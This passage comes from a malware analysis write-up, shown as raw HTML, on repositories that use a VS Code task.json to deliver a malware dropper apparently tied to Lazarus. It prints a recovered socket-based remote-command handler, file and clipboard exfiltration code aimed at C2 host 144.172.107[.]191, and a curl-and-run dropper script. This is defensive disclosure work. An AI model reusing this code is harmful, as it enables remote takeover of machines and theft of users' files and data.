class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br></pre></td><td class="code"><pre><span class="line">socket.<span class="title function_">on</span>(<span class="string">&quot;command&quot;</span>, <span class="function">(<span class="params">msg</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123; <span class="attr">message</span>: command, code, cid, sid, <span class="attr">path</span>: filePath &#125; = msg;</span><br><span class="line">    <span class="keyword">if</span> (code === <span class="string">&quot;102&quot;</span> &amp;&amp; filePath) &#123;</span><br><span class="line">      <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">const</span> dirPath = filePath.<span class="title function_">replace</span>(<span class="regexp">/\\+$/</span>, <span class="string">&quot;&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (fs.<span class="title function_">existsSync</span>(dirPath)) &#123;</span><br><span class="line">          <span class="keyword">const</span> stats = fs.<span class="title function_">statSync</span>(dirPath);</span><br><span class="line">          <span class="keyword">if</span> (stats.<span class="title function_">isDirectory</span>()) &#123;</span><br><span class="line">            <span class="keyword">const</span> items = fs.<span class="title function_">readdirSync</span>(dirPath, &#123; <span class="attr">encoding</span>: <span class="string">&quot;utf8&quot;</span> &#125;);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">const</span> result = items.<span class="title function_">map</span>(<span class="function">(<span class="params">item</span>) =&gt;</span> &#123;</span><br><span class="line">              <span class="keyword">const</span> fullPath = path.<span class="title function_">join</span>(dirPath, item);</span><br><span class="line">              <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="keyword">const</span> itemStats = fs.<span class="title function_">statSync</span>(fullPath);</span><br><span class="line">                <span class="keyword">const</span> isDir = itemStats.<span class="title function_">isDirectory</span>();</span><br><span class="line">                <span class="keyword">return</span> &#123;</span><br><span class="line">                  <span class="attr">name</span>: item,</span><br><span class="line">                  <span class="attr">path</span>: fullPath,</span><br><span class="line">                  <span class="attr">type</span>: isDir ? <span class="string">&quot;dir&quot;</span> : <span class="string">&quot;file&quot;</span>,</span><br><span class="line">                  <span class="attr">size</span>: isDir ? <span class="literal">null</span> : itemStats.<span class="property">size</span>,</span><br><span class="line">                  <span class="attr">date</span>: itemStats.<span class="property">mtime</span>.<span class="title function_">toLocaleString</span>(),</span><br><span class="line">                &#125;;</span><br><span class="line">              &#125; <span class="keyword">catch</span> (statError) &#123;</span><br><span class="line">                <span class="keyword">return</span> &#123;</span><br><span class="line">                  <span class="attr">name</span>: item,</span><br><span class="line">                  <span class="attr">path</span>: fullPath,</span><br><span class="line">                  <span class="attr">type</span>: <span class="string">&quot;file&quot;</span>,</span><br><span class="line">                  <span class="attr">size</span>: <span class="literal">null</span>,</span><br><span class="line">                  <span class="attr">date</span>: <span class="keyword">new</span> <span class="title class_">Date</span>().<span class="title function_">toLocaleString</span>(),</span><br><span class="line">                &#125;;</span><br><span class="line">              &#125;</span><br><span class="line">            &#125;);</span><br><span class="line"></span><br><span class="line">            socket.<span class="title function_">emit</span>(<span class="string">&quot;message&quot;</span>, &#123;</span><br><span class="line">              ...msg,</span><br><span class="line">              <span class="attr">result</span>: <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(result),</span><br><span class="line">            &#125;);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125; <span class="keyword">catch</span> (dirError) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">warn</span>(<span class="string">`Failed to read directory: <span class="subst">$&#123;dirError.message&#125;</span>`</span>);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="title function_">exec</span>(</span><br><span class="line">      command,</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="attr">windowsHide</span>: <span class="literal">true</span>,</span><br><span class="line">        <span class="attr">maxBuffer</span>: <span class="number">1024</span> * <span class="number">1024</span> * <span class="number">300</span>,</span><br><span class="line">      &#125;,</span><br><span class="line">      <span class="title function_">async</span> (error, stdout, stderr) =&gt; &#123;</span><br><span class="line">        <span class="keyword">const</span> isWslPermissionError =</span><br><span class="line">          stderr &amp;&amp;</span><br><span class="line">          <span class="regexp">/Permission denied/i</span>.<span class="title function_">test</span>(stderr) &amp;&amp;</span><br><span class="line">          stdout &amp;&amp;</span><br><span class="line">          stdout.<span class="title function_">trim</span>().<span class="property">length</span> &gt; <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (error &amp;&amp; !isWslPermissionError) &#123;</span><br><span class="line">          socket.<span class="title function_">emit</span>(<span class="string">&quot;message&quot;</span>, &#123;</span><br><span class="line">            <span class="attr">result</span>: error.<span class="property">message</span>,</span><br><span class="line">            ...msg,</span><br><span class="line">            <span class="attr">type</span>: <span class="string">&quot;error&quot;</span>,</span><br><span class="line">          &#125;);</span><br><span class="line">          <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (stderr &amp;&amp; !isWslPermissionError) &#123;</span><br><span class="line">          socket.<span class="title function_">emit</span>(<span class="string">&quot;message&quot;</span>, &#123;</span><br><span class="line">            <span class="attr">result</span>: stderr,</span><br><span class="line">            ...msg,</span><br><span class="line">            <span class="attr">type</span>: <span class="string">&quot;stderr&quot;</span>,</span><br><span class="line">          &#125;);</span><br><span class="line">          <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">let</span> fileUrl = <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">let</span> fileContentToSend = stdout;</span><br><span class="line">        <span class="keyword">const</span> maxSize = <span class="number">1</span> * <span class="number">1024</span> * <span class="number">1024</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (code === <span class="string">&quot;107&quot;</span> &amp;&amp; filePath) &#123;</span><br><span class="line">          <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (fs.<span class="title function_">existsSync</span>(filePath)) &#123;</span><br><span class="line">              <span class="keyword">const</span> fileBuffer = fs.<span class="title function_">readFileSync</span>(filePath);</span><br><span class="line">              <span class="keyword">const</span> fileSize = fileBuffer.<span class="property">length</span>;</span><br><span class="line"></span><br><span class="line">              <span class="keyword">const</span> uploadResult = <span class="keyword">await</span> <span class="title function_">uploadFileToLdb</span>(filePath, fileBuffer);</span><br><span class="line">              <span class="keyword">if</span> (uploadResult &amp;&amp; uploadResult.<span class="property">fileUrl</span>) &#123;</span><br><span class="line">                fileUrl = uploadResult.<span class="property">fileUrl</span>;</span><br><span class="line">              &#125;</span><br><span class="line"></span><br><span class="line">              <span class="keyword">if</span> (fileSize &gt; maxSize) &#123;</span><br><span class="line">                fileContentToSend = <span class="literal">null</span>;</span><br><span class="line">                <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`File too large, sending URL only: <span class="subst">$&#123;fileUrl&#125;</span>`</span>);</span><br><span class="line">              &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                fileContentToSend = stdout;</span><br><span class="line">              &#125;</span><br><span class="line">            &#125;</span><br><span class="line">          &#125; <span class="keyword">catch</span> (readError) &#123;&#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        socket.<span class="title function_">emit</span>(<span class="string">&quot;message&quot;</span>, &#123;</span><br><span class="line">          ...msg,</span><br><span class="line">          <span class="attr">result</span>: fileContentToSend,</span><br><span class="line">          <span class="attr">fileUrl</span>: fileUrl,</span><br><span class="line">        &#125;);</span><br><span class="line">      &#125;,</span><br><span class="line">    );</span><br><span class="line">  &#125; <span class="keyword">catch</span> (e) &#123;</span><br><span class="line">    socket.<span class="title function_">emit</span>(<span class="string">&quot;message&quot;</span>, &#123;</span><br><span class="line">      ...msg,</span><br><span class="line">      <span class="attr">result</span>: e.<span class="property">message</span>,</span><br><span class="line">      <span class="attr">type</span>: <span class="string">&quot;error&quot;</span>,</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>HTTP POST 請求為</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/api/upload-file</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>144.172.107[.]191:8085</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/octet-stream</span><br><span class="line"><span class="attribute">userkey</span><span class="punctuation">: </span>101</span><br><span class="line"><span class="attribute">t</span><span class="punctuation">: </span>&lt;timestamp&gt;</span><br><span class="line"><span class="attribute">hostname</span><span class="punctuation">: </span>&lt;hostname&gt;</span><br><span class="line"><span class="attribute">path</span><span class="punctuation">: </span>&lt;filepath_urlencoded&gt;</span><br><span class="line"><span class="attribute">filename</span><span class="punctuation">: </span>&lt;filename&gt;</span><br><span class="line"><span class="attribute">timestamp</span><span class="punctuation">: </span>&lt;timestamp&gt;</span><br><span class="line"></span><br><span class="line"><span class="language-angelscript"><span class="string">[file content]</span></span></span><br></pre></td></tr></table></figure><h5 id="disconnet"><a href="#disconnet" class="headerlink" title="disconnet"></a>disconnet</h5><p>Received disconnect, outputs text</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">socket.<span class="title function_">on</span>(<span class="string">&quot;disconnect&quot;</span>, <span class="function">() =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;⚠️ Disconnected from socket server&quot;</span>);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h5 id="reconnect-processStatus"><a href="#reconnect-processStatus" class="headerlink" title="reconnect&#x2F;processStatus"></a>reconnect&#x2F;processStatus</h5><p>After receiving reconnect event, returns the status of the three modules</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">socket.<span class="title function_">on</span>(<span class="string">&quot;reconnect&quot;</span>, <span class="function">(<span class="params">attemptNumber</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(</span><br><span class="line">    <span class="string">&quot;✅ Reconnected to socket server (attempt &quot;</span> + attemptNumber + <span class="string">&quot;)&quot;</span>,</span><br><span class="line">  );</span><br><span class="line">  <span class="keyword">const</span> status = <span class="title function_">checkProcessStatus</span>();</span><br><span class="line">  socket.<span class="title function_">emit</span>(<span class="string">&quot;processStatus&quot;</span>, status);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="built_in">setInterval</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">if</span> (socket.<span class="property">connected</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> status = <span class="title function_">checkProcessStatus</span>();</span><br><span class="line">    socket.<span class="title function_">emit</span>(<span class="string">&quot;processStatus&quot;</span>, status);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;, <span class="number">10000</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> <span class="title function_">checkProcessStatus</span> = (<span class="params"></span>) =&gt; &#123;</span><br><span class="line">  <span class="keyword">const</span> path = <span class="built_in">require</span>(<span class="string">&quot;path&quot;</span>);</span><br><span class="line">  <span class="keyword">const</span> os = <span class="built_in">require</span>(<span class="string">&quot;os&quot;</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> lockFiles = [</span><br><span class="line">    &#123; <span class="attr">type</span>: <span class="string">&quot;ldbScript&quot;</span>, <span class="attr">file</span>: path.<span class="title function_">join</span>(os.<span class="title function_">tmpdir</span>(), <span class="string">`pid.<span class="subst">$&#123;t&#125;</span>.1.lock`</span>) &#125;,</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="attr">type</span>: <span class="string">&quot;autoUploadScript&quot;</span>,</span><br><span class="line">      <span class="attr">file</span>: path.<span class="title function_">join</span>(os.<span class="title function_">tmpdir</span>(), <span class="string">`pid.<span class="subst">$&#123;t&#125;</span>.2.lock`</span>),</span><br><span class="line">    &#125;,</span><br><span class="line">    &#123; <span class="attr">type</span>: <span class="string">&quot;socketScript&quot;</span>, <span class="attr">file</span>: path.<span class="title function_">join</span>(os.<span class="title function_">tmpdir</span>(), <span class="string">`pid.<span class="subst">$&#123;t&#125;</span>.3.lock`</span>) &#125;,</span><br><span class="line">  ];</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> status = &#123;</span><br><span class="line">    <span class="attr">ldbScript</span>: <span class="literal">false</span>,</span><br><span class="line">    <span class="attr">autoUploadScript</span>: <span class="literal">false</span>,</span><br><span class="line">    <span class="attr">socketScript</span>: <span class="literal">false</span>,</span><br><span class="line">  &#125;;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">const</span> lockFile <span class="keyword">of</span> lockFiles) &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      <span class="keyword">if</span> (fs.<span class="title function_">existsSync</span>(lockFile.<span class="property">file</span>)) &#123;</span><br><span class="line">        <span class="keyword">const</span> lockData = <span class="title class_">JSON</span>.<span class="title function_">parse</span>(fs.<span class="title function_">readFileSync</span>(lockFile.<span class="property">file</span>, <span class="string">&quot;utf8&quot;</span>));</span><br><span class="line">        <span class="keyword">const</span> pid = lockData.<span class="property">pid</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">          process.<span class="title function_">kill</span>(pid, <span class="number">0</span>);</span><br><span class="line">          status[lockFile.<span class="property">type</span>] = <span class="literal">true</span>;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (checkError) &#123;</span><br><span class="line">          <span class="keyword">try</span> &#123;</span><br><span class="line">            fs.<span class="title function_">unlinkSync</span>(lockFile.<span class="property">file</span>);</span><br><span class="line">          &#125; <span class="keyword">catch</span> (e) &#123;&#125;</span><br><span class="line">          status[lockFile.<span class="property">type</span>] = <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (e) &#123;</span><br><span class="line">      status[lockFile.<span class="property">type</span>] = <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> status;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><h5 id="processControl"><a href="#processControl" class="headerlink" title="processControl"></a>processControl</h5><p>Control the three module Processes, can start or stop</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">socket.<span class="title function_">on</span>(<span class="string">&quot;processControl&quot;</span>, <span class="function">(<span class="params">data</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123; scriptType, action &#125; = data;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (action === <span class="string">&quot;stop&quot;</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> lockFileMap = &#123;</span><br><span class="line">        <span class="attr">ldbScript</span>: path.<span class="title function_">join</span>(os.<span class="title function_">tmpdir</span>(), <span class="string">`pid.&lt;t&gt;.1.lock`</span>),</span><br><span class="line">        <span class="attr">autoUploadScript</span>: path.<span class="title function_">join</span>(os.<span class="title function_">tmpdir</span>(), <span class="string">`pid.&lt;t&gt;.2.lock`</span>),</span><br><span class="line">        <span class="attr">socketScript</span>: path.<span class="title function_">join</span>(os.<span class="title function_">tmpdir</span>(), <span class="string">`pid.&lt;t&gt;.3.lock`</span>),</span><br><span class="line">      &#125;;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">const</span> lockFilePath = lockFileMap[scriptType];</span><br><span class="line">      <span class="keyword">if</span> (lockFilePath &amp;&amp; fs.<span class="title function_">existsSync</span>(lockFilePath)) &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">          <span class="keyword">const</span> lockData = <span class="title class_">JSON</span>.<span class="title function_">parse</span>(fs.<span class="title function_">readFileSync</span>(lockFilePath, <span class="string">&quot;utf8&quot;</span>));</span><br><span class="line">          <span class="keyword">const</span> pid = lockData.<span class="property">pid</span>;</span><br><span class="line">          <span class="keyword">try</span> &#123;</span><br><span class="line">            process.<span class="title function_">kill</span>(pid, <span class="string">&quot;SIGTERM&quot;</span>);</span><br><span class="line">            <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">              <span class="keyword">try</span> &#123;</span><br><span class="line">                process.<span class="title function_">kill</span>(pid, <span class="number">0</span>);</span><br><span class="line">                process.<span class="title function_">kill</span>(pid, <span class="string">&quot;SIGKILL&quot;</span>);</span><br><span class="line">              &#125; <span class="keyword">catch</span> (e) &#123;&#125;</span><br><span class="line">            &#125;, <span class="number">1000</span>);</span><br><span class="line">            fs.<span class="title function_">unlinkSync</span>(lockFilePath);</span><br><span class="line">            <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`Stopped <span class="subst">$&#123;scriptType&#125;</span> (PID: <span class="subst">$&#123;pid&#125;</span>)`</span>);</span><br><span class="line">          &#125; <span class="keyword">catch</span> (killError) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">              fs.<span class="title function_">unlinkSync</span>(lockFilePath);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (e) &#123;&#125;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (e) &#123;</span><br><span class="line">          <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">`Error stopping <span class="subst">$&#123;scriptType&#125;</span>:`</span>, e.<span class="property">message</span>);</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (action === <span class="string">&quot;start&quot;</span>) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">log</span>(</span><br><span class="line">        <span class="string">`Start command received for <span class="subst">$&#123;scriptType&#125;</span> - manual start required`</span>,</span><br><span class="line">      );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">      <span class="keyword">const</span> status = <span class="title function_">checkProcessStatus</span>();</span><br><span class="line">      socket.<span class="title function_">emit</span>(<span class="string">&quot;processStatus&quot;</span>, status);</span><br><span class="line">    &#125;, <span class="number">500</span>);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (error) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&quot;Error handling process control:&quot;</span>, error);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>Additionally, it takes clipboard content and uploads to <code>http://144.172.107[.]191:8087/api/log</code></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">watchClipboard</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> content = <span class="title function_">getClipboardContent</span>(); <span class="comment">// pbpaste / xclip / PowerShell</span></span><br><span class="line">    <span class="keyword">if</span> (content !== lastContent) &#123;</span><br><span class="line">      <span class="keyword">await</span> <span class="title function_">sendLog</span>(content);</span><br><span class="line">      lastContent = content;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">await</span> <span class="title function_">sleep</span>(<span class="number">1000</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>HTTP POST 請求為</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/api/log</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>144.172.107[.]191:8087</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line"></span><br><span class="line"><span class="language-arcade">&#123;</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;ukey&quot;</span>: <span class="number">101</span>,</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;t&quot;</span>: &lt;<span class="built_in">timestamp</span>&gt;,</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;host&quot;</span>: <span class="string">&quot;101_&lt;hostname&gt;&quot;</span>,</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;os&quot;</span>: <span class="string">&quot;&lt;os_type&gt; &lt;os_release&gt;&quot;</span>,</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;username&quot;</span>: <span class="string">&quot;&lt;username&gt;&quot;</span>,</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;message&quot;</span>: <span class="string">&quot;&lt;剪貼簿內容&gt;&quot;</span>,</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;level&quot;</span>: <span class="string">&quot;info&quot;</span>,</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;data&quot;</span>: &#123;&#125;</span></span><br><span class="line"><span class="language-arcade">&#125;</span></span><br></pre></td></tr></table></figure><p>Here ends the general execution flow of Sample 1. Summarizing what Sample 1 does:</p><ul><li>Initially lets user request malicious file via <code>task.json</code> in VS Code related editor.</li><li>Then downloads malicious files via multi-layer dropper.</li><li>The Javascript file size for this type of Sample is particularly large, and main malicious behaviors are executed in the obfuscated Javascript.<ul><li>Steal user browser, wallet, confidential file data.</li><li>Establish C2 connection, issue commands using web socket.</li><li>C2 : <code>144.172.107[.]191</code></li></ul></li></ul><p>Related reports for this malware include:</p><ul><li><a href="https://gist.github.com/compustar/035b9417a07ae9c60c717eb38f7d0eaa">https://gist.github.com/compustar/035b9417a07ae9c60c717eb38f7d0eaa</a><ul><li>This report analyzes <code>megaorg996/tokentradingdapp</code> which is gone but most relevant to the Thread post (megaorg995), suspected to be a Sample 1 variant.</li><li>C2 : <code>144.172.105[.]122</code></li><li><code>144.172.105[.]122</code> can be identifying as used by Lazarus according to <a href="https://raw.githubusercontent.com/stamparm/maltrail/master/trails/static/malware/apt_lazarus.txt">https://raw.githubusercontent.com/stamparm/maltrail/master/trails/static/malware/apt_lazarus.txt</a></li></ul></li></ul><p>Variants:</p><ul><li><code>https://github[.]com/0x003-copia/Copia-nft_metaverse_game_platform</code><ul><li>Added anti debugger</li></ul></li></ul><hr><h3 id="Sample-2"><a href="#Sample-2" class="headerlink" title="Sample 2"></a>Sample 2</h3><blockquote><p>Initially analyzed <code>IvanJoseph103/Token-Presale-dApp</code>, but it has disappeared, and accessing <code>https://vscode-project-setting.vercel[.]app/task/mac?token=812</code> in test.json as well as other services hosted on Vercel are no longer available, showing “This content has been blocked for legal reasons”. However, services not hosted on Vercel are still alive, and many related samples behave similarly, so I am sharing the analysis process.</p></blockquote><p>URL: <code>https://github[.]com/IvanJoseph103/Token-Presale-dApp/tree/main</code></p><p>First appearance: <code>2025/09/24</code></p><p>Related samples:</p><ul><li><code>https://github[.]com/whoisasx/Elo-assignment/tree/main</code></li></ul><p>For this type of Sample, looking at task.json on GitHub at first glance you wouldn’t know what it executes, but if you scroll to the right, you will discover…</p><img src="/assets/LinkedinTask.gif" style="zoom:50%;" /><p>After access, what is special is that it performs JWT token verification, and the JWT token validity period is very short, so a script is needed to quickly grab the malicious program.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="built_in">set</span> -e</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;Authenticated&quot;</span></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">&quot;<span class="variable">$HOME</span>/Documents&quot;</span></span><br><span class="line">clear</span><br><span class="line">curl -s -L -o <span class="string">&quot;<span class="variable">$HOME</span>/Documents/tokenlinux.sh&quot;</span> <span class="string">&quot;http://vscode-project-setting.vercel.app/task/tokenlinux?token=812&amp;st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6IjEuMTcyLjg2LjI0NSIsInNlc3Npb25JZCI6IjE5MWEzMWZiLWU4MjYtNDgwMC04M2IzLWJjNmYxMDMxZTZiYiIsInN0ZXAiOjEsInRpbWVzdGFtcCI6MTc2ODcyMTE5Njc3Mywib3JpZ1Rva2VuIjoiODEyIiwiaWF0IjoxNzY4NzIxMTk2LCJleHAiOjE3Njg3MjEzNzZ9.0YjYBtLmI5RcsmKW33fvKEZYER1Zv2jqcAb57q4TfWo&quot;</span></span><br><span class="line">clear</span><br><span class="line"><span class="built_in">chmod</span> +x <span class="string">&quot;<span class="variable">$HOME</span>/Documents/tokenlinux.sh&quot;</span></span><br><span class="line">clear</span><br><span class="line"><span class="built_in">nohup</span> bash <span class="string">&quot;<span 